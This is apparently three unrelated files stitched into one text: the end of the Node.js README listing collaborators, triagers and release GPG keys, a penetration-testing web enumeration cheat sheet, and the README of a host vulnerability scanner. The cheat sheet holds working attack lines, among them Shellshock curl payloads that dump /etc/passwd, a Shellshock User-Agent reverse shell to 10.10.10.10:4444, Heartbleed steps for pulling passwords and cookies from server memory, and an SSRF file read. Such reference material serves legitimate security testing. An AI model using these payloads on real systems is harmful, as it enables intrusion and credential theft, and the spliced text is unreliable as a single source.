**Christopher Monsanto** <<[email protected]>>
* [MoonBall](https://github.com/MoonBall) -
**Chen Gang** <<[email protected]>>
* [not-an-aardvark](https://github.com/not-an-aardvark) -
**Teddy Katz** <<[email protected]>> (he/him)
* [ofrobots](https://github.com/ofrobots) -
**Ali Ijaz Sheikh** <<[email protected]>> (he/him)
* [Olegas](https://github.com/Olegas) -
**Oleg Elifantiev** <<[email protected]>>
* [orangemocha](https://github.com/orangemocha) -
**Alexis Campailla** <<[email protected]>>
* [othiym23](https://github.com/othiym23) -
**Forrest L Norvell** <<[email protected]>> (they/them/themself)
* [petkaantonov](https://github.com/petkaantonov) -
**Petka Antonov** <<[email protected]>>
* [phillipj](https://github.com/phillipj) -
**Phillip Johnsen** <<[email protected]>>
* [piscisaureus](https://github.com/piscisaureus) -
**Bert Belder** <<[email protected]>>
* [pmq20](https://github.com/pmq20) -
**Minqi Pan** <<[email protected]>>
* [PoojaDurgad](https://github.com/PoojaDurgad) -
**Pooja D P** <<[email protected]>> (she/her)
* [princejwesley](https://github.com/princejwesley) -
**Prince John Wesley** <<[email protected]>>
* [psmarshall](https://github.com/psmarshall) -
**Peter Marshall** <<[email protected]>> (he/him)
* [refack](https://github.com/refack) -
**Refael Ackermann (רפאל פלחי)** <<[email protected]>> (he/him/הוא/אתה)
* [rexagod](https://github.com/rexagod) -
**Pranshu Srivastava** <<[email protected]>> (he/him)
* [rlidwka](https://github.com/rlidwka) -
**Alex Kocharin** <<[email protected]>>
* [rmg](https://github.com/rmg) -
**Ryan Graham** <<[email protected]>>
* [robertkowalski](https://github.com/robertkowalski) -
**Robert Kowalski** <<[email protected]>>
* [romankl](https://github.com/romankl) -
**Roman Klauke** <<[email protected]>>
* [ronkorving](https://github.com/ronkorving) -
**Ron Korving** <<[email protected]>>
* [RReverser](https://github.com/RReverser) -
**Ingvar Stepanyan** <<[email protected]>>
* [rubys](https://github.com/rubys) -
**Sam Ruby** <<[email protected]>>
* [saghul](https://github.com/saghul) -
**Saúl Ibarra Corretgé** <<[email protected]>>
* [sam-github](https://github.com/sam-github) -
**Sam Roberts** <<[email protected]>>
* [sebdeckers](https://github.com/sebdeckers) -
**Sebastiaan Deckers** <<[email protected]>>
* [seishun](https://github.com/seishun) -
**Nikolai Vavilov** <<[email protected]>>
* [shigeki](https://github.com/shigeki) -
**Shigeki Ohtsu** <<[email protected]>> (he/him)
* [silverwind](https://github.com/silverwind) -
**Roman Reiss** <<[email protected]>>
* [starkwang](https://github.com/starkwang) -
**Weijia Wang** <<[email protected]>>
* [stefanmb](https://github.com/stefanmb) -
**Stefan Budeanu** <<[email protected]>>
* [tellnes](https://github.com/tellnes) -
**Christian Tellnes** <<[email protected]>>
* [thefourtheye](https://github.com/thefourtheye) -
**Sakthipriyan Vairamani** <<[email protected]>> (he/him)
* [thlorenz](https://github.com/thlorenz) -
**Thorsten Lorenz** <<[email protected]>>
* [trevnorris](https://github.com/trevnorris) -
**Trevor Norris** <<[email protected]>>
* [tunniclm](https://github.com/tunniclm) -
**Mike Tunnicliffe** <<[email protected]>>
* [vkurchatkin](https://github.com/vkurchatkin) -
**Vladimir Kurchatkin** <<[email protected]>>
* [vsemozhetbyt](https://github.com/vsemozhetbyt) -
**Vse Mozhet Byt** <<[email protected]>> (he/him)
* [watson](https://github.com/watson) -
**Thomas Watson** <<[email protected]>>
* [whitlockjc](https://github.com/whitlockjc) -
**Jeremy Whitlock** <<[email protected]>>
* [yhwang](https://github.com/yhwang) -
**Yihong Wang** <<[email protected]>>
* [yorkie](https://github.com/yorkie) -
**Yorkie Liu** <<[email protected]>>
* [yosuke-furukawa](https://github.com/yosuke-furukawa) -
**Yosuke Furukawa** <<[email protected]>>
</details>
<!--lint enable prohibited-strings-->
Collaborators follow the [Collaborator Guide](./doc/contributing/collaborator-guide.md) in
maintaining the Node.js project.
### Triagers
* [Ayase-252](https://github.com/Ayase-252) -
**Qingyu Deng** <<[email protected]>>
* [bmuenzenmeyer](https://github.com/bmuenzenmeyer) -
**Brian Muenzenmeyer** <<[email protected]>> (he/him)
* [daeyeon](https://github.com/daeyeon) -
**Daeyeon Jeong** <<[email protected]>> (he/him)
* [F3n67u](https://github.com/F3n67u) -
**Feng Yu** <<[email protected]>> (he/him)
* [himadriganguly](https://github.com/himadriganguly) -
**Himadri Ganguly** <<[email protected]>> (he/him)
* [iam-frankqiu](https://github.com/iam-frankqiu) -
**Frank Qiu** <<[email protected]>> (he/him)
* [kvakil](https://github.com/kvakil) -
**Keyhan Vakil** <<[email protected]>> (they/them)
* [marsonya](https://github.com/marsonya) -
**Akhil Marsonya** <<[email protected]>> (he/him)
* [meixg](https://github.com/meixg) -
**Xuguang Mei** <<[email protected]>> (he/him)
* [Mesteery](https://github.com/Mesteery) -
**Mestery** <<[email protected]>> (he/him)
* [MoLow](https://github.com/MoLow) -
**Moshe Atlow** <<[email protected]>> (he/him)
* [PoojaDurgad](https://github.com/PoojaDurgad) -
**Pooja Durgad** <<[email protected]>>
* [RaisinTen](https://github.com/RaisinTen) -
**Darshan Sen** <<[email protected]>>
* [VoltrexKeyva](https://github.com/VoltrexKeyva) -
**Mohammed Keyvanzadeh** <<[email protected]>> (he/him)
Triagers follow the [Triage Guide](./doc/contributing/issues.md#triaging-a-bug-report) when
responding to new issues.
### Release keys
Primary GPG keys for Node.js Releasers (some Releasers sign with subkeys):
* **Beth Griggs** <<[email protected]>>
`4ED778F539E3634C779C87C6D7062848A1AB005C`
* **Bryan English** <<[email protected]>>
`141F07595B7B3FFE74309A937405533BE57C7D57`
* **Danielle Adams** <<[email protected]>>
`74F12602B6F1C4E913FAA37AD3A89613643B6201`
* **Juan José Arboleda** <<[email protected]>>
`DD792F5973C6DE52C432CBDAC77ABFA00DDBF2B7`
* **Michaël Zasso** <<[email protected]>>
`8FCCA13FEF1D0C2E91008E09770F7A9A5AE15600`
* **Myles Borins** <<[email protected]>>
`C4F0DFFF4E8C1A8236409D08E73BC641CC11F4C8`
* **RafaelGSS** <<[email protected]>>
`890C08DB8579162FEE0DF9DB8BEAB4DFCF555EF4`
* **Richard Lau** <<[email protected]>>
`C82FA3AE1CBEDC6BE46B9360C43CEC45C17AB93C`
* **Ruy Adorno** <<[email protected]>>
`108F52B48DB57BB0CC439B2997B01419BD92F80A`
To import the full set of trusted release keys (including subkeys possibly used
to sign releases):
```bash
gpg --keyserver hkps://keys.openpgp.org --recv-keys 4ED778F539E3634C779C87C6D7062848A1AB005C
gpg --keyserver hkps://keys.openpgp.org --recv-keys 141F07595B7B3FFE74309A937405533BE57C7D57
gpg --keyserver hkps://keys.openpgp.org --recv-keys 74F12602B6F1C4E913FAA37AD3A89613643B6201
gpg --keyserver hkps://keys.openpgp.org --recv-keys DD792F5973C6DE52C432CBDAC77ABFA00DDBF2B7
gpg --keyserver hkps://keys.openpgp.org --recv-keys 8FCCA13FEF1D0C2E91008E09770F7A9A5AE15600
gpg --keyserver hkps://keys.openpgp.org --recv-keys C4F0DFFF4E8C1A8236409D08E73BC641CC11F4C8
gpg --keyserver hkps://keys.openpgp.org --recv-keys 890C08DB8579162FEE0DF9DB8BEAB4DFCF555EF4
gpg --keyserver hkps://keys.openpgp.org --recv-keys C82FA3AE1CBEDC6BE46B9360C43CEC45C17AB93C
gpg --keyserver hkps://keys.openpgp.org --recv-keys 108F52B48DB57BB0CC439B2997B01419BD92F80A
```
See [Verifying binaries](#verifying-binaries) for how to use these keys to
verify a downloaded file.
<details>
<summary>Other keys used to sign some previous releases</summary>
* **Chris Dickinson** <<[email protected]>>
`9554F04D7259F04124DE6B476D5A82AC7E37093B`
* **Colin Ihrig** <<[email protected]>>
`94AE36675C464D64BAFA68DD7434390BDBE9B9C5`
* **Danielle Adams** <<[email protected]>>
`1C050899334244A8AF75E53792EF661D867B9DFA`
* **Evan Lucas** <<[email protected]>>
`B9AE9905FFD7803F25714661B63B535A4C206CA9`
* **Gibson Fahnestock** <<[email protected]>>
`77984A986EBC2AA786BC0F66B01FBB92821C587A`
* **Isaac Z. Schlueter** <<[email protected]>>
`93C7E9E91B49E432C2F75674B0A78B0A6C481CF6`
* **Italo A. Casas** <<[email protected]>>
`56730D5401028683275BD23C23EFEFE93C4CFFFE`
* **James M Snell** <<[email protected]>>
`71DCFD284A79C3B38668286BC97EC7A07EDE3FC1`
* **Jeremiah Senkpiel** <<[email protected]>>
`FD3A5288F042B6850C66B31F09FE44734EB7990E`
* **Juan José Arboleda** <<[email protected]>>
`61FC681DFB92A079F1685E77973F295594EC4689`
* **Julien Gilli** <<[email protected]>>
`114F43EE0176B71C7BC219DD50A3051F888C628D`
* **Rod Vagg** <<[email protected]>>
`DD8F2338BAE7501E3DD5AC78C273792F7D83545D`
* **Ruben Bridgewater** <<[email protected]>>
`A48C2BEE680E841632CD4E44F07496B3EB3C1762`
* **Shelley Vohr** <<[email protected]>>
`B9E2F5981AA6E0CD28160D9FF13993A75599653C`
* **Timothy J Fontaine** <<[email protected]>>
`7937DFD2AB06298B2293C3187D33FF9D0246406D`
</details>
### Security release stewards
When possible, the commitment to take slots in the
security release steward rotation is made by companies in order
to ensure individuals who act as security stewards have the
support and recognition from their employer to be able to
prioritize security releases. Security release stewards manage security
releases on a rotation basis as outlined in the
[security release process](./doc/contributing/security-release-process.md).
* Datadog
* [bengl](https://github.com/bengl) -
**Bryan English** <<[email protected]>> (he/him)
* [vdeturckheim](https://github.com/vdeturckheim) -
**Vladimir de Turckheim** <<[email protected]>> (he/him)
* NearForm
* [RafaelGSS](https://github.com/RafaelGSS) -
**Rafael Gonzaga** <<[email protected]>> (he/him)
* NodeSource
* [juanarbol](https://github.com/juanarbol) -
**Juan José Arboleda** <<[email protected]>> (he/him)
* Platformatic
* [mcollina](https://github.com/mcollina) -
**Matteo Collina** <<[email protected]>> (he/him)
* Red Hat and IBM
* [joesepi](https://github.com/joesepi) -
**Joe Sepi** <<[email protected]>> (he/him)
* [mhdawson](https://github.com/mhdawson) -
**Michael Dawson** <<[email protected]>> (he/him)
## License
Node.js is available under the
[MIT license](https://opensource.org/licenses/MIT). Node.js also includes
external libraries that are available under a variety of licenses. See
[LICENSE](https://github.com/nodejs/node/blob/HEAD/LICENSE) for the full
license text.
[Code of Conduct]: https://github.com/nodejs/admin/blob/HEAD/CODE_OF_CONDUCT.md
[Contributing to the project]: CONTRIBUTING.md
[Node.js website]: https://nodejs.org/
[OpenJS Foundation]: https://openjsf.org/
[Strategic initiatives]: doc/contributing/strategic-initiatives.md
[Technical values and prioritization]: doc/contributing/technical-values.md
[Working Groups]: https://github.com/nodejs/TSC/blob/HEAD/WORKING_GROUPS.md
|
# Web Enum Quick Reference
## Contents
- [Web Enum Quick Reference](#web-enum-quick-reference)
* [Contents](#contents)
* [HTTP and HTTPS Checklist](#http-and-https-checklist)
* [Scan for sub directories and pages](#scan-for-sub-directories-and-pages)
+ [Wordlists](#wordlists)
+ [Scanning Tools](#scanning-tools)
+ [Curl](#curl)
- [Web app specific](#web-app-specific)
- [Login pages](#login-pages)
- [Shellshock and Heartbleed](#shellshock-and-heartbleed)
* [Heartbleed](#heartbleed)
* [Shellshock](#shellshock)
- [SSRF](#ssrf)
- [Resources](#resources)
* [Cheat Sheets](#cheat-sheets)
* [Further Reading](#further-reading)
* [Sources](#sources)
## HTTP and HTTPS Checklist
- [ ] Scan page with Wappanalyzer FireFox add-on
- [ ] Scan for sub directories and pages - admin pages?, login pages?, file upload?, user input fields?
- [ ] Check for robots.txt, security.txt, sitemap.xml files
- [ ] Test strength of encryption using nmap ssl-enum-ciphers script
- [ ] Look for service name and version - searchsploit / google for exploits
- [ ] Service specific scanners: wpscan, Joomscan
- [ ] Admin page - access misconfigs, login?
- [ ] Log in pages - guess default creds, admin:admin, admin:password
- [ ] File upload pages - what types of files are accepted?, what checks are being implemented? is there a value you can change to include a file?
- [ ] User input fields: SQL injection, cross site scripting
- [ ] Intercept HTTP requests with Burp and examine
Reference: [Payload All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings)
Firefox addons: script to add ons [here](https://github.com/mazen160/Firefox-Security-Toolkit)
[Wappanalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/), [Foxy Proxy](https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/) and [user agent switcher](https://addons.mozilla.org/en-US/firefox/addon/uaswitcher/)
[Pen Testing Web Checklist](https://pentestbook.six2dez.com/others/web-checklist)
HTTP Status Codes
1xx - Informational
2xx - Success
3xx - Redirection
4xx - Client Error
5xx - Server Error
## Scan for sub directories and pages
### Wordlists
Common wordlists to use for web directory scanning:
/usr/share/wordlists/dirb/common.txt
/usr/share/wordlists/dirbuster/*.txt
/usr/share/wordlists/wfuzz/general/*.txt
/usr/share/seclists/Discovery/Web-Content/
Common wordlists to use for user enumeration scanning:
/usr/share/seclists/Usernames
/usr/share/wordlists/dirbuster/apache-user-enum-2.0
Create a wordlist with CeWL:
cewl http://www.site.org -w wordlist.txt
CeWL sometimes misses directories so use these steps to create a dir list for CeWL to crawl:
feroxbuster -eknr --wordlist /usr/share/seclists/Discovery/Web-Content/big.txt -u http://10.10.10.10 -o ferox.txt
cat ferox.txt | grep 200 | grep -v "png\|\.js" | cut -d "h" -f2-100 | sed "s/^/h/g" >> urls.txt
for url in $(cat urls.txt); do echo $url && cewl -d 5 $url >> temp_cewl.txt;done
cat temp_cewl.txt | sort -u >> cewl.txt && rm temp_cewl.txt
tr '[:upper:]' '[:lower:]' < cewl.txt > cewl_lower.txt
cat cewl_lower.txt >> cewl.txt
#then use the CeWL wordlist for password guessing
### Scanning Tools
Nikto
Gobuster / Dirb / Feroxbuster
Ffuf /wfuzz: fuzzing tools
[BFAC](https://github.com/mazen160/bfac): search for backup files
Web Scanning:
nikto -h http://127.0.0.1:80/
Page and Directory Fuzzing:
dirb http://127.0.0.1/ (default word list: common.txt)
gobuster dir -u http://127.0.0.1/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -e -k -s "200,204,301,302,307,403,500" -x "txt,html,php,asp,aspx,jsp" -z
ffuf -w wordlist.txt -u https://example.org/FUZZ -mc all -c -v
ffuf -w wordlist.txt -u http://www.site.org/FUZZ -e .aspx,.html,.php,.txt
feroxbuster -u http://target.com -w /usr/share/dirb/wordlists/common.txt -d [recursion depth] -t [threads] -s [status codes]
whatweb http://target
wfuzz -c --hc=404 -R 2 -w /usr/share/dirb/wordlists/common.txt http://target/fuzz
Virtual Hosts (subdomains):
gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://site.com --append-domain
### Curl
curl -v -X OPTIONS http://<targetip>/test/
curl --upload-file <file name> -v --url <url> -0 --http1.0
Other Tools:
Burp Suite
OWASP Zap
Cadaver
# Web app specific
See [CMS.md](https://github.com/lw8192/Red-Team-Rising/blob/main/Web/CMS.md)
# Login pages
Default creds - admin: admin, admin:password, service specific default creds
Register a new user
Brute force log in [use hydra or Burp Suite](https://github.com/lw8192/Red-Team-Rising/blob/main/Exploitation/Cracking.md)
SQL injection
# Shellshock and Heartbleed
## Heartbleed
Bug in OpenSSL crypto software library. Allows an attacker to steal info normally protected by SSL/TLS encryption.
Testing: scan using nmap heartbleed script
nmap -p 443 -sV --script ssl-heartbleed www.site.org
Example: Exploit the Heartbleed vulnerability to steal the following from a vulnerable OpenSSL server's RAM: Username, Password, Cookie
RAM is unpredictable, so you may need to run heartbleed.py multiple times. Must use Firefox / HTTPS to browse to site, perform 2 logins - first login will be in RAM.
https://gist.github.com/eelsivart/10174134
Save a local copy of the RAM contents that are disclosed via heartbleed. By default, heartbleed.py will write dump.bin to the current directory.
heartbleed.py -f /home/user/dump.bin heartbleed.site.org | less
strings /home/student/dump.bin -> look for creds / cookie
## Shellshock
Bug in Bash shell itself incorrectly executing trailing commands when it imports a function definition stored in an enviroment variable. Commonly found in CGI-based webservers, which use user input to define enviromental variables.
Metasploit module or 34900.py ("Apache mod_cgi - 'Shellshock' Remote Command Injection")
Syntax: () { :; }
Manual test for CGI based webservers:
curl -x http://192.168.90.61:3128 -A "() { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /usr/bin/id" -L http://10.10.10.10/cgi-bin/status
curl -A "() { ignored;}; echo; /bin/cat /etc/passwd" http://127.0.0.1/cgi-bin/netstat.cgi
Nmap script check:
nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/user.sh 10.10.10.10
To exploit change vulnerable field in HTTP request (likely UAS) to a reverse shell command:
User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
# SSRF
Server requests resource of behalf of the web client.
SSRF example using curl:
curl -v "https://site.org/get.php?logo=file://etc/hosts" #local file reference
# Resources
## Cheat Sheets
[SQLi cheat sheet](https://guif.re/sqli)
[OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/Glossary.html)
https://websec.ca/kb/sql_injection
https://pentestmonkey.net/category/cheat-sheet/sql-injection
https://sqlwiki.netspi.com/
https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/
## Further Reading
[OWASP Web App Testing Guide](https://owasp.org/www-project-web-security-testing-guide/stable/)
[Bypassing File Upload Restrictions ](http://www.securityidiots.com/Web-Pentest/hacking-website-by-shell-uploading.html)
[Web vulnerabilities to gain access to the system - paper](https://www.exploit-db.com/papers/13017/)
File Inclusion
[RFI to LFI](https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-part-1)
Basic SQLi
http://www.securityidiots.com/Web-Pentest/SQL-Injection/Part-1-Basic-of-SQL-for-SQLi.html
http://www.securityidiots.com/Web-Pentest/SQL-Injection/Part-2-Basic-of-SQL-for-SQLi.html
http://www.securityidiots.com/Web-Pentest/SQL-Injection/Part-3-Basic-of-SQL-for-SQLi.html
http://www.sqlinjection.net/login/
## Sources
https://fareedfauzi.gitbook.io/ctf-checklist-for-beginner/web
|
# security-scripts
A collection of security related Python and Bash shell scripts, mainly revolving
around testing hosts for security vulnerabilities. For the shell scripts no
fancy programming framework is required, all that is needed is a Bash shell.
Note that it is highly recommended to use `analyze_hosts.py` as it is the most
recent version. No new features will be added to the Bash version
`analyze_hosts.sh`.
`analyze_hosts` is also available as Docker image, including the open source
scanners `droopescan`, `nmap`, `Nikto` and `testssl.sh`. Build it yourself using
the supplied Dockerfile, or grab the image from Docker Hub
```
docker run --rm gofwd/analyze_hosts
```
You can also run the included tools that way; just override the entrypoint. As
an example, run `testssl.sh`:
```
docker run --rm --entrypoint 'testssl.sh' gofwd/analyze_hosts
```
## analyze_hosts.py
A simple wrapper script around several open source security tools to simplify
scanning of hosts for network vulnerabilities. The script lets you analyze one
or several hosts for common misconfiguration vulnerabilities and weaknesses.
The main objectives for the script is to make it as easy as possible to perform
generic security tests, without any heavy prerequisites, make the output as
informative as possible, and use open source tools. It can easily be used as
scheduled task, or be implemented in Continuous Integration environments.
The only requirements are `nmap` and `Python3`.
As the scan output can be written to a JSON file it can be used to generate
deltas (differences) between scans, or to use the output for further inspection.
### Installation
Note that you can also run `analyze_hosts` straight from a Docker image:
```
docker run --rm gofwd/analyze_hosts
```
One-time installation steps without virtualenv (all required Python libraries
are specified in the `requirements.txt` file):
```
git clone https://github.com/PeterMosmans/security-scripts && \
cd security-script && \
pip3 install -r requirements.txt
```
### Usage
```
usage: analyze_hosts.py [-h] [--version] [--dry-run] [-i INPUTFILE] [-o OUTPUT_FILE] [--compact] [--queuefile QUEUEFILE] [--resume] [--settings SETTINGS]
[--exit-code] [--force] [--debug] [-v] [-q] [--allports] [-n] [-p PORT] [--up] [--udp] [--framework] [--http] [--compression]
[--headers] [--trace] [--redirect] [--force-ssl] [--json JSON] [--ssl] [--nikto] [--sslcert] [-w] [--proxy PROXY]
[--timeout TIMEOUT] [--threads THREADS] [--user-agent USER_AGENT] [--password PASSWORD] [--username USERNAME] [--maxtime MAXTIME]
[target]
analyze_hosts - scans one or more hosts for security misconfigurations
Copyright (C) 2015-2022 Peter Mosmans [Go Forward]
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
positional arguments:
target [TARGET] can be a single (IP) address, an IP range, or multiple comma-separated addressess
optional arguments:
-h, --help show this help message and exit
--version Show version and exit
--dry-run Only show commands, don't actually do anything
-i INPUTFILE, --inputfile INPUTFILE
A file containing targets, one per line
-o OUTPUT_FILE, --output-file OUTPUT_FILE
output file containing all scanresults (default analyze_hosts.output)
--compact Only log raw logfiles and alerts to file
--queuefile QUEUEFILE
the queuefile
--resume Resume working on the queue
--settings SETTINGS Name of settings file to use (default analyze_hosts.yml)
--exit-code When supplied, return exit code 1 when alerts are discovered
--force Ignore / overwrite the queuefile
--debug Show debug information
-v, --verbose Be more verbose
-q, --quiet Do not show scan outputs on the console
--allports Run a full-blown nmap scan on all ports
-n, --no-portscan Do NOT run a nmap portscan
-p PORT, --port PORT Specific port(s) to scan
--up Assume host is up (do not rely on ping probe)
--udp Check for open UDP ports as well
--framework Analyze the website and run webscans
--http Check for various HTTP vulnerabilities (compression, headers, trace)
--compression Check for webserver compression
--headers Check for various HTTP headers
--trace Check webserver for HTTP TRACE method
--redirect Check for insecure redirect
--force-ssl Enforce SSL/TLS check on all open ports
--json JSON Save output in JSON file
--ssl Check for various SSL/TLS vulnerabilities
--nikto Run a nikto scan
--sslcert Download SSL certificate
-w, --whois Perform a whois lookup
--proxy PROXY Use proxy server (host:port)
--timeout TIMEOUT Timeout for requests in seconds (default 10)
--threads THREADS Maximum number of threads (default 5)
--user-agent USER_AGENT
Custom User-Agent to use (default analyze_hosts)
--password PASSWORD Password for HTTP basic host authentication
--username USERNAME Username for HTTP basic host authentication
--maxtime MAXTIME Timeout for scans in seconds (default 600)
```
The script `analyze_hosts` automatically execute other scans (based on their
fingerprint or open ports):
```
droopescan
nikto
testssl.sh
WPscan
```
You can use the following environment variables (all uppercase) to specify the
tools if they cannot be found in the standard paths:
CURL, DROOPESCAN, NIKTO, OPENSSL, TESTSSL, WPSCAN
### Suppressing false positives
A settings file can be used (`--settings`) to configure or tweak scan parameters
per host / port combination. This allows you to suppress false positives in scan
results. Currently the Nikto `Plugins`, `Tuning` and `output` parameters are
supported, as well as a list of allowed / expected open ports, and testssl
parameters:
Example settings file:
```
targets:
127.0.0.1:
allowed_ports: [22, 80, 443]
ports:
- port: 80
nikto_plugins: "@@ALL"
nikto_tuning: "x1"
nikto_output: "report.html"
- port: 443
testssl_untrusted: true
testssl:
- "--ccs-injection"
- "--ticketbleed"
- "--robot"
```
This will supply the `-Plugins '@@ALL' -Tuning 'x1' -output 'report.html'
parameters to Nikto, when port 80 is scanned.
Furthermore, it will not generate an alert when an open port other than port 22,
80 or 443 is found. By default, an alert will be generated if an open port other
than 80 or 443 is found.
There will no alert be generated if the SSL/TLS endpoint on port 443 contains an
untrusted (self-signed) certificate. And instead of all default tests, only
three SSL/TLS tests will be performed.
### JSON format
```
{
"arguments": {
"target": "1.2.3.1/30",
"version": false,
"dry_run": false,
"inputfile": "0frnfb4e",
"output_file": "output.txt,
"compact": true,
"queuefile": "analyze_hosts.queue",
"resume": false,
"force": false,
"debug": false,
"verbose": false,
"quiet": false,
"allports": false,
"no_portscan": false,
"port": null,
"up": false,
"udp": false,
"framework": false,
"http": true,
"json": "results.json",
"ssl": true,
"nikto": true,
"sslcert": false,
"trace": false,
"whois": false,
"proxy": null,
"timeout": true,
"threads": 5,
"user_agent": "analyze_hosts",
"password": null,
"username": null,
"maxtime": 1200,
"testssl.sh": true,
"curl": false,
"wpscan": true,
"droopescan": true,
"nmap": true,
"nmap_arguments": "-sV --open -sS --script=banner,dns-nsid,dns-recursion,http-cisco-anyconnect,http-php-version,http-title,http-trace,ntp-info,ntp-monlist,nbstat,rdp-enum-encryption,rpcinfo,sip-methods,smb-os-discovery,smb-security-mode,smtp-open-relay,ssh2-enum-algos,vnc-info,xmlrpc-methods,xmpp-info"
},
"date_start": "2020-05-26 31:33:06"
"results": {
"1.2.3.1": {
"ports": [
53
]
},
"1.2.3.2": {
"ports": []
},
"1.2.3.3": {
"ports": [
80,
443
],
"alerts": [
":443 LUCKY13 (CVE-2013-0169), experimental potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS. Check patches"
]
},
"1.2.3.4": {
"ports": [
80,
443
],
"alerts": [
":443 + OSVDB-3092: /download/: This might be interesting...",
":443 + OSVDB-3092: /status/: This might be interesting...",
":443 + OSVDB-4231: /DHrPp.xml: Coccoon from Apache-XML project reveals file system path in error messages.",
":443 + OSVDB-3092: /upgrade.php: upgrade.php was found."
]
}
},
"date_finish": "2020-05-26 31:33:07"
}
```
## display_results.py
A little helper script that formats the scan results nicely, so that scan
results can easily be reviewed.
```
usage: display_results.py [-h] [--info] [--version] [inputfile]
display_results version 0.0.1 - displays scan results nicely
positional arguments:
inputfile A JSON file containing scan results
optional arguments:
-h, --help show this help message and exit
--info Show also informational items
--version Show version and exit
```
## analyze-hosts.sh
A simple wrapper script around several open source security tools to simplify
scanning of hosts for network vulnerabilities. The script lets you analyze one
or several hosts for common misconfiguration vulnerabilities and weaknesses. The
main objectives for the script is to make it as easy as possible to perform
generic security tests, without any heavy prerequisites, make the output as
informative as possible, and use open source tools....
- [cipherscan](https://github.com/jvehent/cipherscan)
- curl
- nmap
- [openssl-1.0.2-chacha](https://github.com/PeterMosmans/openssl/tree/1.0.2-chacha/)
- [whatweb](https://github.com/urbanadventurer/WhatWeb)
* whois
### Examples
#### SSL certificates
```
./analyze_hosts.sh --sslcert www.google.com
```
Shows details of a certificate, like the issuer and subject. It warns when
certificate is expired or when the certificate is a certificate authority.
Example output:
```
trying to retrieve SSL x.509 certificate on www.google.com:443... received
issuer=
countryName = US
organizationName = Google Inc
commonName = Google Internet Authority G2
subject=
countryName = US
stateOrProvinceName = California
localityName = Mountain View
organizationName = Google Inc
commonName = www.google.com
OK: certificate is valid between 16-07-2014 and 14-10-2014
```
#### SSL/TLS ciphers
```
./analyze_hosts.sh --ssl --sslports 443 -v www.microsoft.com
```
Checks which ciphers are allowed. It warns when insecure ciphers are being used.
By default the ports 443, 465, 993, 995 and 3389 and are checked. You can
specify the ports by using --sslports The -v flag outputs all results, regardles
of the message type.
Example output:
```
prio ciphersuite protocols pfs_keysize
1 RC4-MD5 SSLv3,TLSv1
2 RC4-SHA SSLv3,TLSv1
3 DES-CBC3-SHA SSLv3,TLSv1
4 AES256-SHA TLSv1
5 AES128-SHA TLSv1
Certificate: UNTRUSTED, 2048 bit, sha1WithRSAEncryption signature
trying to retrieve SSL x.509 certificate on www.microsoft.com:443... received
issuer=
domainComponent = com
domainComponent = microsoft
domainComponent = corp
domainComponent = redmond
commonName = MSIT Machine Auth CA 2
subject=
countryName = US
stateOrProvinceName = WA
localityName = Redmond
organizationName = Microsoft Corporation
organizationalUnitName = MSCOM
commonName = www.microsoft.com
OK: certificate is valid between 12-01-2013 and 12-01-2015
performing nmap sslscan on www.microsoft.com ports 443...
Nmap scan report for www.microsoft.com (134.170.184.133)
Host is up (0.15s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
| TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_MD5 - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
| TLSv1.0:
| ciphers:
| TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_MD5 - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
|_ least strength: strong
```
### usage
```
./analyze_hosts.sh [OPTION]... [HOST]
Scanning options:
-a, --all perform all basic scans
--max perform all advanced scans (more thorough)
-b, --basic perform basic scans (fingerprint, ssl, trace)
results of HOST matches regexp FILTER
--dns test for recursive query and version string
-f perform web fingerprinting (all webports)
--fingerprint perform all web fingerprinting methods
-h, --header show webserver headers (all webports)
-n, --nikto nikto webscan (all webports)
-p nmap portscan (top 1000 TCP ports)
--ports nmap portscan (all ports, TCP and UDP)
--redirect test for open secure redirect
-s check SSL configuration
--ssl perform all SSL configuration checks
--sslcert show details of SSL certificate
--timeout=SECONDS change timeout for tools (default 60)
--ssh perform SSH configuration checks
-t check webserver for HTTP TRACE method
--trace perform all HTTP TRACE method checks
-w, --whois perform WHOIS lookup for (hostname and) IP address
-W confirm WHOIS results before continuing scan
--filter=FILTER only proceed with scan of HOST if WHOIS
--wordlist=filename scan webserver for existence of files in filename
Port selection (comma separated list):
--webports=PORTS use PORTS for web scans (default 80,443,8080)
--sslports=PORTS use PORTS for ssl scans (default 443,465,993,995,3389)
Logging and input file:
-d, --directory=DIR location of temporary files (default /tmp)
-i, --inputfile=FILE use a file containing hostnames
-l, --log log each scan in a separate logfile
--nocolor don't use fancy colors in screen output
-o, --output=FILE concatenate all OK and WARNING messages into FILE
-q, --quiet quiet
-v, --verbose show server responses
Default programs:
--cipherscan=FILE location of cipherscan (default cipherscan)
--openssl=FILE location of openssl (default openssl)
-u update this script (if it's a cloned repository)
--update force update (overwrite all local modifications)
--version print version information and exit
BLUE: INFO, status messages
GREEN: OK, secure settings
RED: WARNING, possible vulnerabilities
[HOST] can be a single (IP) address, an IP range, eg. 127.0.0.1-255
or multiple comma-separated addressess
```
### history
- since 0.88: preliminary support for starttls xmpp
## test_ssl_handhake.sh
A script to test TLS/SSL handshakes with. Several bugtests are included:
- 128 cipherlimit when using tls1_2 protocol
- aRSA cipher order
- version intolerant server
\$ ./test_ssl_handshake.sh
```
(c) 2014 Peter Mosmans [Go Forward]
Licensed under the GPL 3.0
tests SSL/TLS handshakes (for known bugs)
